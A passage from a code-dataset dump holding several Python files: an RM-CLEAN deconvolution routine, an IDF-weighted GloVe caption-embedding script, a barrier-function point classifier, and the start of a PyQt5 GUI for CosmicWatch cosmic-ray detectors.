*\nimport matplotlib.pyplot as plt\nimport scipy.signal as sci\nfrom scipy.interpolate import splrep, sproot, splev\nfrom astropy.modeling import models\n\nclass MultiplePeaks(Exception): pass\nclass NoPeaksFound(Exception): pass\n\ndef gaussian(x, amplitude, mean, stddev):\n f = amplitude*np.exp(-(x-mean)**2/(2*stddev**2))\n return f\ndef fwhm(x, y, k=3):\n \"\"\"\n Determine full-with-half-maximum of a peaked set of points, x and y.\n\n Assumes that there is only one peak present in the datasset. The function\n uses a spline interpolation of order k.\n \"\"\"\n\n half_max = np.max(y)/2.0\n s = splrep(x, y - half_max, k=k)\n roots = sproot(s)\n\n if len(roots) > 2:\n raise MultiplePeaks(\"The dataset appears to have multiple peaks, and \"\n \"thus the FWHM can't be determined.\")\n elif len(roots) < 2:\n raise NoPeaksFound(\"No proper peaks were found in the data set; likely \"\n \"the dataset is flat (e.g. all zeros).\")\n else:\n return abs(roots[1] - roots[0])\n\ndef RM_CLEAN(P, R, W, K, phi, lambda2, lambda2_ref, m, n, iterations, gain, threshold, cross_corr=False):\n dirty_F = form_F_dirty(K, P, phi, lambda2, lambda2_ref, n)\n \n #idx_center = np.arange(n-1-(n/2), n-1+(n/2)).astype(int)\n rmsf = R\n \n fwhm_R = fwhm(phi, np.abs(rmsf))/2.0/np.sqrt(2.0 * np.log(2.0))\n g = gaussian(phi, 1.0, 0.0, fwhm_R)\n \n faraday_model = np.zeros(n) + 1j*np.zeros(n)\n #dirty_padded = np.zeros(2*n-1) + 1j*np.zeros(2*n-1)\n\n #dirty_padded[idx_center] = dirty_F\n \n i = 0\n \n if cross_corr:\n correlation = np.correlate(dirty_F-np.mean(dirty_F), rmsf-np.mean(rmsf), 'same')\n peak_idx = np.argmax(np.abs(correlation))\n else:\n peak_idx = np.argmax(np.abs(dirty_F))\n \n peak = dirty_F[peak_idx]\n \n while i < iterations and np.abs(peak) >= threshold:\n #print(\"Iteration: \", i, \"- Peak \", np.abs(peak), \"at position: \", peak_idx)\n #Scaled peak value\n #Storing a delta component at that location\n faraday_model[peak_idx] = faraday_model[peak_idx] + gain * peak\n \n #Calculate how many pixels to shift the rmsf \n\n shft = peak_idx - np.argmax(np.abs(rmsf))\n shifted_rmsf = np.roll(rmsf, shft)\n #plt.cla()\n #plt.plot(np.abs(correlation), 'r--')\n #plt.plot(np.abs(dirty_F), 'b--', linewidth =0.5)\n #plt.plot(dirty_value , 'g-.', linewidth=5.0)\n #plt.savefig('Frame%03d.png' %i)\n #Substract a shifted and scaled rmsf from the dirty F\n dirty_F = dirty_F - gain*peak*shifted_rmsf\n i = i+1\n \n #Search the maximum value of the cross-correlation between dirty_F and the rmsf. Or find the maximum in the dirty_F\n if cross_corr:\n correlation = np.correlate(dirty_F-np.mean(dirty_F), rmsf-np.mean(rmsf), 'same')\n peak_idx = np.argmax(np.abs(correlation))\n else:\n peak_idx = np.argmax(np.abs(dirty_F))\n \n #The peak is the value of the dirty_F in that index\n peak = dirty_F[peak_idx]\n \n \n \n residuals = dirty_F\n model_conv = sci.convolve(faraday_model, g, 'same', 'auto')\n return faraday_model\n #return faraday_model","sub_path":"rm_clean.py","file_name":"rm_clean.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"468006216","text":"import json\njson_data = open(\"captions_train2014.json\").read()\ndata = json.loads(json_data)\nannotations = data[\"annotations\"]\nimport re, string\nimport numpy as np\nfrom collections import Counter\nimport pickle\nfrom gensim.models.keyedvectors import KeyedVectors\n\npunc_regex = re.compile('[{}]'.format(re.escape(string.punctuation)))\n\n\ndef strip_punc(corpus):\n '''\n Removes Punctuations\n '''\n return punc_regex.sub('', corpus).lower()\ndef get_stop_words():\n '''\n Returns stopwords\n '''\n with open(\"stopwords.txt\", 'r') as r:\n stops = []\n for line in r:\n stops += [i.strip() for i in line.split('\\t')]\n return stops\n#get idf and its setup\ndef to_counter(doc):\n \"\"\"\n Produce word-count of document, removing all punctuation\n and removing all punctuation.\n\n Parameters\n ----------\n doc : str\n\n Returns\n -------\n collections.Counter\n lower-cased word -> count\"\"\"\n return Counter(strip_punc(doc).lower().split())\ndef to_bag(counters, k=None, stop_words=None):\n \"\"\"\n [word, word, ...] -> sorted list of top-k unique words\n Excludes words included in `stop_words`\n\n Parameters\n ----------\n counters : Iterable[Iterable[str]]\n\n k : Optional[int]\n If specified, only the top-k words are returned\n\n stop_words : Optional[Collection[str]]\n A collection of words to be ignored when populating the bag\n \"\"\"\n bag = Counter()\n for counter in counters:\n bag.update(counter)\n\n if stop_words is not None:\n for word in set(stop_words):\n bag.pop(word, None) # if word not in bag, return None\n return sorted(i for i,j in bag.most_common(k))\n\ndef to_idf(bag, counters):\n \"\"\"\n Given the bag-of-words, and the word-counts for each document, computes\n the inverse document-frequency (IDF) for each term in the bag.\n\n Parameters\n ----------\n bag : Sequence[str]\n Ordered list of words that we care about\n\n counters : Iterable[collections.Counter]\n The word -> count mapping for each document.\n\n Returns\n -------\n numpy.ndarray\n An array whose entries correspond to those in `bag`, storing\n the IDF for each term `t`:\n log10(N / nt)\n Where `N` is the number of documents, and `nt` is the number of\n documents in which the term `t` occurs.\n \"\"\"\n N = len(counters)\n all_occurence_of_words = np.array([word for counter in counters for word in counter])\n all_words = {word for counter in counters for word in counter.keys()}\n all_words = sorted(list(all_words & set(bag)))\n nt = [len(np.where(all_occurence_of_words == word)[0]) for word in all_words]\n nt = np.array(nt, dtype=float)\n return np.log10(N / nt)\n\n\ndef getBigBag():\n '''\n Gets the big bag of words\n '''\n count_list = []\n for dictionary in annotations:\n count_list.append(to_counter(dictionary[\"caption\"]))\n bag = to_bag(count_list, stop_words=get_stop_words())\n return bag\n#get big bag\ndef idfs_in_bulk():\n '''\n Calculates IDF in bulk\n '''\n count_list = []\n for dictionary in annotations:\n count_list.append(to_counter(dictionary[\"caption\"]))\n bag = to_bag(count_list, stop_words=stops)\n idf = to_idf(bag, count_list)\n idfs = dict(zip(bag, idf.tolist()))\n with open(\"idfs.pkl\", mode=\"wb\") as opened_file:\n pickle.dump(idfs, opened_file)\n#Get glove\ndef getGlove():\n '''\n Obtains glove\n '''\n path = \"./glove.6B.50d.txt.w2v\"\n return KeyedVectors.load_word2vec_format(path, binary=False)\n\ndef embed_caption(caption):\n idfs = []\n words = strip_punc(caption).split()\n idfs_all = np.load(\"idfs.npy\").item()\n glove = getGlove()\n for word in words:\n print(word)\n try:\n idfs.append(idfs_all[word])\n except KeyError:\n continue\n idfs = np.array(idfs)\n count = 0\n x = np.zeros(50)\n for i, word in enumerate(words):\n try:\n x += glove.get_vector(word) * idfs[i]\n count += 1\n print(x)\n except Exception as e:\n continue\n if count != 0:\n embed = x / count\n return x\n\ndef embedding_in_bulk():\n idfs = idfs_in_bulk()\n caption_embeddings = {}\n for cap_dict in annotations:\n x = np.zeros(50)\n count = 0\n for word in cap_dict[\"caption\"].split():\n try:\n x += glove.get_vector(word.lower()) * idfs[word.lower()]\n count += 1\n except Exception as e:\n continue\n if count != 0:\n embed = x / count\n caption_embeddings[cap_dict[\"id\"]] = embed\n np.save(\"embeddings.npy\", caption_embeddings)\n","sub_path":"word_embedding.py","file_name":"word_embedding.py","file_ext":"py","file_size_in_byte":4732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"216259498","text":"import numpy as np \r\n#from main_barrier import f_barrier\r\n\r\nfrom run_barrier import f_barrier\r\n# Set Definition Function\r\n# Between x=[x_min,x_max] if N points \r\ndef set_def(N,x): \r\n \r\n \r\n x_min=x[0]\r\n x_max=x[1]\r\n X= np.linspace(x_min, x_max, N)\r\n y_max=(min(f_barrier(X)))-1 \r\n y_min=(max(f_barrier(X)))+1\r\n\r\n deltax= abs(x_min-x_max)\r\n deltay= abs(y_min-y_max)\r\n\r\n nx= int( deltax*np.sqrt(N/(deltax*deltay) ) )\r\n ny= int( deltay*np.sqrt(N/(deltax*deltay) ) )\r\n\r\n N=nx*(ny+1)\r\n\r\n #initialize neural network input variables \r\n X=np.zeros((N,2))\r\n y=np.zeros(N)\r\n\r\n # uniform distribution of points \r\n for j in range(0,ny+1):\r\n yaux2= deltay*j/ny +y_max\r\n for i in range(0,nx):\r\n # coordenate x\r\n X[j*nx+i,0]=deltax*i/nx +x_min \r\n #coordenate y\r\n X[j*nx+i,1]=yaux2\r\n \r\n # actual classification of points \r\n if f_barrier(X[j*nx+i,0])<= yaux2:\r\n y[j*nx+i]=1\r\n else:\r\n y[j*nx+i]=-1\r\n \r\n return X,y \r\n\r\n","sub_path":"set.py","file_name":"set.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"226827484","text":"\"\"\"\nPawel Pietrzak 29.09.2020\nProject: Cosmic ray measurements in automation cycle using Python programming\nTeFeNica 2020 Summer Student Internship\nGUI for CosmicWatch data collection. Uses CosmicWatchControl.py\nContact: pawel.pietrzak7.stud@pw.edu.pl\n\"\"\"\n\nimport os\nimport sys\nimport time\nimport webbrowser\n\nimport matplotlib.animation as anim\nimport matplotlib.figure as mpl_fig\nimport serial.tools.list_ports\nfrom PyQt5 import QtCore\nfrom PyQt5.QtCore import Qt, QTimer, QDate\nfrom PyQt5.QtGui import QPixmap, QFont, QColor, QIntValidator\nfrom PyQt5.QtWidgets import (QApplication, QButtonGroup, QComboBox,\n QFileDialog, QGridLayout, QGroupBox, QHBoxLayout, QLabel, QLineEdit,\n QPushButton, QRadioButton,\n QVBoxLayout, QWidget, QTableWidget, QTableWidgetItem)\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar\nfrom numpy import polyfit, poly1d\nfrom numpy import array\n\n\nfrom CosmicWatchControl import *\n\n\nclass CosmicWatchError(Exception):\n pass\n\nclass InvalidInputError(CosmicWatchError):\n pass\n\nclass InvalidCOMError(CosmicWatchError):\n pass\n\nclass FakeCosmicWatch():\n '''\n Empty class with 2 attributes - amplitudes_list and adc_list that pretends to be CosmicWatch for StaticChart purpose\n '''\n def __init__(self):\n self.amplitudes_list = [] # list of all amplitudes\n self.adc_list = [] # list of all digital amplitudes\n self.angle = 0\n self.distance = 0\n self.rate = 0\n self.amplitudes_list.clear()\n self.adc_list.clear()\n\nclass GUIControl(QWidget):\n '''\n Main GUI window\n '''\n detectors = []\n port_list = []\n selected_ports = []\n\n paused = False\n pause_deadtime_seconds = 0\n\n charts = [] # List to store Chart_Window objects in, if not referenced they are cleared by garbage collector\n\n file_path = ''\n directory = os.getcwd()\n print(directory)\n directory = directory +'\\\\Measurements\\\\' # directory for file saving\n current_measurement_folder = '' # directory\\\\current measurement sub-folder\n print(directory)\n\n # used colors, can be either rgb values, names or # values,\n # colors for data table: odd_rgb and even_rgb must be a QColor object\n warning_text_rgb = 'black'\n info_text_rgb = 'black'\n warning_rgb = \"#EB8D96\"\n background_rgb = '#f7f9d4'\n info_background_rgb = '#FFFFFF'\n distance_background_rgb ='#FFFFFF'\n odd_rgb = QColor('#31B3E8')\n even_rgb = QColor('#FFE135')\n title_color = '#2D3843'\n\n def __init__(self):\n super().__init__()\n\n self.init_ui()\n\n def init_ui(self):\n self.setWindowTitle('CosmicWatch')\n\n #Color\n self.setStyleSheet(\"background-color: \" + self.background_rgb)\n\n first_row = self.create_first_row()\n first_row.setAlignment(Qt.AlignTop)\n second_row = self.create_second_row()\n self.create_clock()\n # TODO: change names so fourth row is third row\n fourth_row = self.create_fourth_row()\n # Stitch the GUI\n entire_thing = QVBoxLayout()\n entire_thing.addLayout(first_row)\n entire_thing.addLayout(second_row)\n entire_thing.addLayout(fourth_row)\n\n self.setLayout(entire_thing)\n self.show()\n\n self.display_ports()\n\n def create_log_file(self):\n '''\n :return:\n '''\n time_now = self.time_start.replace(tzinfo=datetime.timezone.utc).astimezone(tz=None)\n #TODO check if it works without astimezone it is probably redundant\n self.current_measurement_folder = self.directory\n self.current_measurement_folder += time_now.strftime('%Y%m%d_%H%M%S')\n timestamp = time.strftime('[%Y-%m-%d_%H:%M:%S]: ')\n\n try:\n Path(self.current_measurement_folder).mkdir(exist_ok=True, parents=True) # Create subfolder if doesn't exist\n except FileNotFoundError:\n print('Incorrect path.')\n # what next? *************\n except PermissionError:\n print('This path requires additional permissions.')\n # what next? *************\n\n with open(self.current_measurement_folder + '\\\\log.txt', 'w', newline='') as log_file:\n log_file.write('Date [UTC]: Information\\r\\n')\n message = 'Start button pressed. Log file created.'\n self.update_log(message)\n self.update_log('Angle = ' + self.angle + ' degrees. Distance = ' + self.distance + ' cm.')\n\n\n def update_log(self, message):\n time_now = datetime.datetime.now(datetime.timezone.utc)\n timestamp = time_now.strftime('[%Y-%m-%d_%H:%M:%S]: ')\n with open(self.current_measurement_folder + '\\\\log.txt', \"a\", newline='') as log:\n log.write(timestamp + message + '\\r\\n')\n\n def create_clock(self):\n\n times_timer = QTimer(self)\n times_timer.start(1000)\n times_timer.timeout.connect(self.refresh_timers)\n\n\n def refresh_timers(self):\n '''\n Set which detector controls the timers.\n '''\n #TODO rethink this,it will always set detectors[0] as time controller, its probably not right\n updated = False\n for detector in self.detectors:\n if detector.mode == 'Slave':\n self.update_timers(detector)\n updated = True\n if len(self.detectors) > 0 and updated == False:\n self.update_timers(self.detectors[0])\n\n\n def update_timers(self, detector):\n '''\n Updates realtime, deadtime, livetime timers. Ticks every seconds. Updates self.pause_deadtime_seconds on pause.\n :param detector: CosmicWatch detectors\n '''\n now = datetime.datetime.now(datetime.timezone.utc)\n if self.paused == True:\n self.pause_deadtime_seconds = self.pause_deadtime_seconds + 1\n realtime = now - detector.time_start\n deadtime = datetime.timedelta(seconds=detector.deadtime)\n #TODO make sure its not needed\n #deadtime_pause = datetime.timedelta(seconds=self.pause_deadtime_seconds)\n livetime = realtime - deadtime #- deadtime_pause\n\n deadtime_fraction = (deadtime.total_seconds() + self.pause_deadtime_seconds)/ realtime.total_seconds()\n deadtime_percentage = \"{:.3%}\".format(deadtime_fraction)\n\n self.realtime_label.setText('Real Time: ' + str(realtime)[:-7])\n self.livetime_label.setText('Live Time: ' + str(livetime)[:-7])\n self.deadtime_label.setText('Dead Time: ' + str(deadtime_percentage))\n\n\n def create_fourth_row(self):\n '''\n Consists of: info_panel\n '''\n fourth_row = QHBoxLayout()\n\n self.info_panel = QLineEdit()\n fourth_row.addWidget(self.info_panel)\n #info_panel.setAlignment(Qt.AlignRight)\n self.info_panel.setReadOnly(True)\n self.info_panel.setStyleSheet(\"background-color:\" + self.info_background_rgb)\n\n return fourth_row\n\n def reset_info_panel(self):\n '''\n Resets look of self.info_panel to empty string with starting colors.\n '''\n self.info_panel.setStyleSheet(\"background-color:\" + self.info_background_rgb +\"; color: \" + self.info_text_rgb)\n self.info_panel.setText('')\n\n def update_info_panel(self, message):\n '''\n Resets info_panel and displays given message in default colors.\n :param message: string, message to be displayed\n :return:\n '''\n self.reset_info_panel()\n self.info_panel.setText(message)\n try:\n self.update_log(message)\n except: pass\n\n def warning_info_panel(self, message):\n '''\n Resets info_panel and displays given message in warning colors.\n :param message: stirng, a warning to be displayed\n :return:\n '''\n self.info_panel.setText(message)\n self.info_panel.setStyleSheet(\"background-color: \" + self.warning_rgb + \"; color: \" + self.warning_text_rgb + ';')\n\n def create_control_panel(self):\n '''\n Control panel consists of: start, pause, stop, resume buttons.\n '''\n # Control Panel\n control_panel = QGroupBox('Control Panel')\n control_panel.setStyleSheet('background-color: ' + self.info_background_rgb + ';')\n button_layout = QVBoxLayout()\n control_panel.setLayout(button_layout)\n self.start = QPushButton('Start')\n self.start.clicked.connect(self.start_detectors)\n stop = QPushButton('Stop')\n stop.clicked.connect(self.stop_detectors)\n\n pause_layout = QHBoxLayout()\n self.pause_button = QPushButton('Pause')\n self.pause_button.paused = True\n self.pause_button.setDown(True)\n self.pause_button.setEnabled(False)\n self.pause_button.clicked.connect(self.pause_reading)\n self.resume_button = QPushButton('Resume')\n self.resume_button.paused = False\n self.resume_button.setDown(True)\n self.resume_button.setEnabled(False)\n self.resume_button.clicked.connect(self.resume_reading)\n pause_layout.addWidget(self.pause_button)\n pause_layout.addWidget(self.resume_button)\n\n\n button_layout.addWidget(self.start)\n button_layout.addLayout(pause_layout)\n button_layout.addWidget(stop)\n\n return control_panel\n\n def pause_reading(self):\n '''\n Set self.paused and detector.paused for each detector to True. Disable pause button. Enable resume button.\n '''\n self.pause_time = datetime.datetime.now()\n self.paused = True\n for detector in self.detectors:\n detector.paused = True\n self.resume_button.setDown(False)\n self.resume_button.setEnabled(True)\n self.pause_button.setDown(True)\n self.pause_button.setEnabled(False)\n\n self.update_info_panel('Measurements paused.')\n\n def resume_reading(self):\n '''\n Set self.paused and detector.paused for each detector to False. Disable resume button. Enable pause button.\n '''\n self.paused = False\n for detector in self.detectors:\n detector.paused = False\n self.resume_button.setDown(True)\n self.resume_button.setEnabled(False)\n self.pause_button.setDown(False)\n self.pause_button.setEnabled(True)\n\n self.update_info_panel('Measurements resumed.')\n\n def create_additional_settings(self):\n '''\n Additional setting consists of:\n first_column layout = stretch + file_reading_group = [Recreate chart from file, open file in notepad],\n second_column layout = stretch + charts_group = [Open live charts]\n time_group = [Realtime, livetime, deadtime]\n '''\n # Additional settings panel\n ad_settings_group = QGroupBox('Additional functions')\n #ad_settings_group.setMinimumHeight(225)\n ad_settings_group.setStyleSheet('background-color: ' + self.info_background_rgb)\n\n ad_settings_first_row = QHBoxLayout()\n ad_settings_second_row = QHBoxLayout()\n ad_settings_layout = QVBoxLayout()\n ad_settings_layout.addLayout(ad_settings_first_row)\n ad_settings_layout.addStretch()\n ad_settings_layout.addLayout(ad_settings_second_row)\n ad_settings_group.setLayout(ad_settings_layout)\n\n # Chart loading group\n file_reading_group = QGroupBox('File reading')\n file_reading_layout = QVBoxLayout()\n file_reading_group.setLayout(file_reading_layout)\n\n multiple_charts = QPushButton('Chart multiple files')\n multiple_charts.clicked.connect(self.chart_multiple_files)\n\n file_select = QPushButton('Open file as chart')\n file_select.clicked.connect(self.open_as_chart)\n\n self.create_chart = QPushButton('Open data file')\n self.create_chart.clicked.connect(self.open_in_notepad)\n\n file_reading_layout.addWidget(file_select)\n file_reading_layout.addWidget(multiple_charts)\n file_reading_layout.addWidget(self.create_chart)\n file_reading_layout.addStretch()\n ###\n first_column = QVBoxLayout()\n first_column.addWidget(file_reading_group)\n first_column.addStretch()\n\n # Live charts\n second_column = QVBoxLayout()\n\n charts_group = QGroupBox('Live charts')\n charts_layout = QVBoxLayout()\n charts_group.setLayout(charts_layout)\n show_charts_button = QPushButton('Show charts')\n show_charts_button.clicked.connect(self.show_live_charts)\n charts_layout.addWidget(show_charts_button)\n charts_layout.addStretch()\n\n second_column.addStretch()\n second_column.addWidget(charts_group)\n second_column.addStretch()\n\n # Times\n time_column = QVBoxLayout()\n time_group = QGroupBox('Time')\n time_layout = QVBoxLayout()\n time_group.setLayout(time_layout)\n\n self.realtime_label = QLabel()\n self.deadtime_label = QLabel()\n self.livetime_label = QLabel()\n self.realtime_label.setText('Real Time: 00:00:00')\n self.livetime_label.setText('Live Time: 00:00:00')\n self.deadtime_label.setText('Dead Time: 00:00:00')\n\n time_layout.addStretch()\n time_layout.addWidget(self.realtime_label)\n time_layout.addWidget(self.livetime_label)\n time_layout.addWidget(self.deadtime_label)\n time_layout.addStretch()\n\n time_column.addStretch()\n time_column.addWidget(time_group)\n time_column.addStretch()\n # Log comment\n log_column = QVBoxLayout()\n log_group = QGroupBox('Log file comment (Press start before commenting)')\n log_layout = QHBoxLayout()\n log_group.setLayout(log_layout)\n comment_button = QPushButton('Save to log')\n comment_button.clicked.connect(self.add_comment_log)\n\n comment_line = QLineEdit()\n comment_line.setStyleSheet(\"background-color:\" + self.distance_background_rgb)\n self.comment = comment_line\n\n log_layout.addWidget(comment_line)\n log_layout.addWidget(comment_button)\n\n log_column.addStretch()\n log_column.addWidget(log_group)\n log_column.addStretch()\n\n # Stiching first row\n ad_settings_first_row.addLayout(first_column)\n ad_settings_first_row.addStretch()\n ad_settings_first_row.addLayout(second_column)\n ad_settings_first_row.addStretch()\n ad_settings_first_row.addLayout(time_column)\n\n # Second row\n ad_settings_second_row.addLayout(log_column)\n\n # Finish up\n charts = QHBoxLayout()\n charts.addWidget(ad_settings_group)\n return charts\n\n def chart_multiple_files(self):\n '''\n Display several files on one chart\n '''\n #self.get_multiple_file_paths()\n try:\n chart = Chart_Window('Multiple files ', FakeCosmicWatch(), False, True, self, len(self.charts))\n self.charts.append(chart)\n except Exception as ChartError:\n self.warning_info_panel('Chart creation failed. Function: chart_multiple_files. Error: ' +repr(ChartError))\n\n def add_comment_log(self):\n '''\n Add custom comment in log\n '''\n message = str(self.comment.text())\n if message == '':\n self.warning_info_panel('ERROR: Comment box empty.')\n raise InvalidInputError\n else:\n self.update_info_panel('COMMENT: ' + message)\n\n def open_as_chart(self):\n self.get_file_path()\n self.open_chart_file()\n\n def open_in_notepad(self):\n '''\n Opens selected .txt or .csv file in default system notepad.\n '''\n self.get_file_path()\n webbrowser.open(self.file_path)\n\n def get_file_path(self):\n '''\n Opens dialog box for file select of .txt and .csv and saves it full path to self.file_path.\n '''\n open_file = QFileDialog.getOpenFileName(self, 'Open measurements file', '', 'Text files (*.txt *.csv)')\n self.file_path = open_file[0]\n if self.file_path == '':\n self.update_info_panel('No file was selected.')\n else:\n self.update_info_panel('Selected file: ' + self.file_path)\n\n def open_chart_file(self):\n '''\n Opens selected .txt or .csv file as chart. Requires empty line after header or no header (raw data).\n '''\n file_name = self.file_path.split('/')[-1][:-4]\n try:\n data_pack = self.prepare_data(self.file_path)\n except Exception as DataReadingError:\n self.warning_info_panel('Data reading failed. Error: ' + repr(DataReadingError))\n return\n try:\n chart = Chart_Window(file_name, data_pack, False, False, self, len(self.charts))\n self.charts.append(chart)\n except Exception as ChartReadingError:\n self.warning_info_panel('Chart creation failed. Function: open_chart_file. Error :' + repr(ChartReadingError))\n\n def prepare_data(self, path):\n '''\n Reads file. If it has no header or header is separated by empty line reads it into list of lists of specific\n columns. Currently only read adc and amplitudes column but can be modified to read others, like temperature.\n :param path: full path of text file with data\n :return data pack = list of two lists: adc_list and amplitudes_list\n '''\n data_pack = FakeCosmicWatch()\n angle = -1 #-1 means failed to read properly\n distance = -1\n rate = -1\n\n with open(path, 'r') as og_file:\n lines = og_file.readlines()\n # Ignore header\n i = 0\n empty_line_found = False\n for line in lines:\n #TODO distance reading\n try:\n if len(line) > 15:\n if line[0:13] == '### Distance:':\n line_list = line.split(' ')\n distance = line_list[2]\n angle = line_list[5]\n except:\n pass\n\n if line.strip() == '':\n empty_line_found = True\n break\n i += 1\n if empty_line_found == True:\n lines = lines[i+1:]\n elif len(lines[0].split()) < 6:\n print(lines[0].split())\n raise\n\n # Read data to lists\n # TODO maybe read to numpy arrays?\n for line in lines:\n line_list = line.split(' ')\n # other columns can be added in a same way. NOTE: it requires modification of FakeCosmicWatch class\n data_pack.adc_list.append(float(line_list[4]))\n data_pack.amplitudes_list.append(float(line_list[5]))\n\n # reading rate\n # TODO read rate from time and number\n # reads rate assuming it's 9th element of data line\n try:\n last_line = lines[-1]\n last_line = last_line.split(' ')\n if len(last_line) > 8:\n rate = float(last_line[8])\n if rate > 10:\n self.warning_info_panel('ERROR: Read rate [9th element] bigger than 10. Suspicious value.')\n raise InvalidInputError\n except:\n pass\n\n data_pack.angle = float(angle)\n data_pack.distance = float(distance)\n data_pack.rate = rate\n\n return data_pack\n\n def create_second_row(self):\n '''\n Second row consists of: data_table, com_group (control panel)\n '''\n detector_group = self.create_data_table()\n com_group = self.create_settings()\n\n ad_settings = self.create_additional_settings()\n control_panel = self.create_control_panel()\n\n # # Stitching row\n # third_row = QHBoxLayout()\n # third_row.addLayout(charts)\n # third_row.addStretch()\n # third_row.addWidget(control_panel)\n\n first_column = QVBoxLayout()\n second_column = QVBoxLayout()\n\n first_column.addWidget(self.data_table) #####\n #first_column.addWidget(detector_group) #####\n first_column.addLayout(ad_settings)\n first_column.addStretch()\n\n second_column.addWidget(com_group)\n second_column.addStretch()\n second_column.addWidget(control_panel)\n second_column.addStretch()\n\n # Stitching row\n second_row = QHBoxLayout()\n #second_row.addWidget(detector_group)\n second_row.addLayout(first_column)\n second_row.addStretch()\n second_row.addLayout(second_column)\n return second_row\n\n def create_settings(self):\n '''\n Fills in COM group for control panel.\n '''\n # COM Group\n com_group = QGroupBox('Detector settings')\n com_group.setStyleSheet('background-color: ' + self.info_background_rgb)\n com_layout = QVBoxLayout()\n com_group.setLayout(com_layout)\n input_group = self.create_input_group()\n # Buttons\n button_layout = QVBoxLayout()\n display_ports_b = QPushButton('Scan ports')\n display_ports_b.clicked.connect(self.display_ports)\n button_layout.addStretch()\n button_layout.addWidget(input_group) # TEMP\n button_layout.addWidget(display_ports_b)\n button_layout.addStretch()\n # input + button\n input_button_layout = QHBoxLayout()\n # input_button_layout.addWidget(input_group) #TEMP\n input_button_layout.addLayout(button_layout)\n input_button_layout.setAlignment(Qt.AlignTop)\n # COM detectors\n com_legend = QGridLayout()\n no = QLabel()\n no1 = QLabel()\n no2 = QLabel()\n no.setText('No.')\n no1.setText('1.')\n no2.setText('2.')\n com = QLabel()\n com.setText('COM')\n self.COM1 = QComboBox()\n self.COM2 = QComboBox()\n self.fill_com_combobox(self.COM1)\n self.fill_com_combobox(self.COM2)\n self.COM1.setMinimumWidth(70)\n com_legend.addWidget(no, 0, 0)\n com_legend.addWidget(no1, 1, 0)\n com_legend.addWidget(no2, 2, 0)\n com_legend.addWidget(com, 0, 1)\n com_legend.addWidget(self.COM1, 1, 1)\n com_legend.addWidget(self.COM2, 2, 1)\n com.setAlignment(Qt.AlignCenter)\n com_legend.setColumnStretch(0, 0)\n com_legend.setColumnStretch(1, 1)\n # #experimental\n # horizontal = QHBoxLayout()\n # horizontal.addLayout(input_button_layout)\n # horizontal.addLayout(com_legend)\n # com_layout.addLayout(horizontal)\n # Stitch com group\n com_layout.addLayout(input_button_layout)\n com_layout.addLayout(com_legend)\n com_layout.addStretch()\n return com_group\n\n def fill_com_combobox(self, combobox):\n combobox.clear()\n combobox.addItem('')\n for port in self.port_list:\n combobox.addItem(port)\n\n def create_data_table(self):\n '''\n Creates data table with det name, status, amplitude, time, rate, error, number of detections\n '''\n # Detector group\n detector_group = QGroupBox('Detectors - Measurements')\n detector_layout = QVBoxLayout()\n detector_group.setLayout(detector_layout)\n self.data_table = QTableWidget()\n #detector_layout.addWidget(self.data_table) ###########\n self.data_table.setColumnCount(7)\n self.data_table.setHorizontalHeaderLabels(['Det. Name', '\\nStatus\\n',\n 'Amplitude\\n[mV]', 'Time\\n[hh:mm:ss.sss]',\n 'Rate\\n[N/s]', 'Error\\n[+/-]', 'Number'])\n #self.data_table.horizontalHeader().setFont(QFont('Helvetica', 9, ))\n # Adjust column size\n self.data_table.setColumnWidth(0, 100)\n self.data_table.setColumnWidth(1, 80)\n self.data_table.setColumnWidth(2, 80)\n self.data_table.setColumnWidth(3, 100)\n self.data_table.setColumnWidth(4, 60)\n self.data_table.setColumnWidth(5, 70)\n self.data_table.setColumnWidth(6, 80)\n # Adjust table size\n self.data_table.setMinimumWidth(585)\n self.data_table.setFixedHeight(140)\n self.data_table.setStyleSheet(\"background-color:\" + self.info_background_rgb)\n\n detector_group.setObjectName('DetectorGroup')\n detector_group.setStyleSheet('QGroupBox#DetectorGroup {border: 1px solid gray; border-radius: 3px;}')\n\n return detector_group\n\n def create_input_group(self):\n '''\n Create input group(angle, distance) for control panel\n '''\n # Input group = Angle + Distance\n input_group = QGroupBox()\n input_layout = QHBoxLayout()\n # Angle box\n angle_layout = QVBoxLayout()\n angle_label = QLabel()\n angle_label.setText('Angle [deg]')\n angle_box = QComboBox()\n angle_box.addItem('')\n for i in range(13):\n degree = str(7.5 * i)\n angle_box.addItem(degree)\n angle_box.setFixedWidth(70)\n angle_layout.addWidget(angle_label)\n angle_layout.addWidget(angle_box)\n angle_layout.addStretch()\n # Distance box\n distance_layout = QVBoxLayout()\n distance_label = QLabel()\n distance_label.setText('Distance [cm]')\n distance_line = QLineEdit()\n distance_line.setValidator(QIntValidator())\n distance_line.setFixedWidth(80)\n distance_line.setStyleSheet(\"background-color:\" + self.distance_background_rgb)\n distance_layout.addWidget(distance_label)\n distance_layout.addWidget(distance_line)\n distance_layout.addStretch()\n # Stitch input group\n input_layout.addLayout(angle_layout)\n input_layout.addLayout(distance_layout)\n input_group.setLayout(input_layout)\n\n self.angle_input = angle_box\n self.distance_input = distance_line\n return input_group\n\n def create_first_row(self):\n '''\n Name, date, logos.\n '''\n logo_height = 75 #85\n NCBJ_logo = QLabel()\n NCBJ_logo_pixmap = QPixmap('ncbj_logo.png').scaledToHeight(logo_height)\n NCBJ_logo.setPixmap(NCBJ_logo_pixmap)\n # NCBJ_logo.setAlignment(Qt.AlignLeft)\n\n WUT_logo = QLabel()\n WUT_logo_pixmap = QPixmap('pw_logo.png').scaledToHeight(logo_height)\n WUT_logo.setPixmap(WUT_logo_pixmap)\n\n NICA_logo = QLabel()\n NICA_logo_pixmap = QPixmap('nica_logo.png').scaledToHeight(logo_height-15)\n NICA_logo.setPixmap(NICA_logo_pixmap)\n\n title = QLabel()\n title.setAlignment(Qt.AlignCenter)\n title.setText('CosmicWatch')\n title.setFont(QFont('Helvetica', 30, QFont.Bold )) # QFont.Bold\n title.setStyleSheet(\"color: \" + self.title_color)\n\n # title.setStyleSheet('border: 1px solid black')\n\n date = QLabel()\n date.setAlignment(Qt.AlignRight)\n date.setAlignment(Qt.AlignTop)\n 